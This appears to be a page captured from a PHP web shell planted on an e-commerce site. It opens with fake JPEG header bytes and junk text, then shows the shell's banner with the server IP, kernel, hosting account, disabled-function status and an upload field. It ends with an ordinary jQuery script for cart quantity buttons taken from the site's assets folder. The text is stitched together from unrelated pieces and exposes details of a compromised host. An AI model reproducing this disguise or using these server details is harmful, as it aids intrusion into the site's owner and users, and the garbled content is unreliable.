���� JFIF fdasasfas213sdaf
Server IP : 93.127.173.120 / Your IP : 216.73.216.200 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/fossilstyle.com/public_html/assets/js/ |
Upload File : |
/**===================== Quantity 2 js ==========================**/ $(".addcart-button").click(function () { $(this).next().addClass("open"); $(".add-to-cart-box .qty-input").val('1'); }); $('.add-to-cart-box').on('click', function () { var $qty = $(this).siblings(".qty-input"); var currentVal = parseInt($qty.val()); if (!isNaN(currentVal)) { $qty.val(currentVal + 1); } }); $('.qty-left-minus').on('click', function () { var $qty = $(this).siblings(".qty-input"); var _val = $($qty).val(); if (_val == '1') { var _removeCls = $(this).parents('.cart_qty'); $(_removeCls).removeClass("open"); } var currentVal = parseInt($qty.val()); if (!isNaN(currentVal) && currentVal > 0) { $qty.val(currentVal - 1); } }); $('.qty-right-plus').click(function () { if ($(this).prev().val() < 9) { $(this).prev().val(+$(this).prev().val() + 1); } });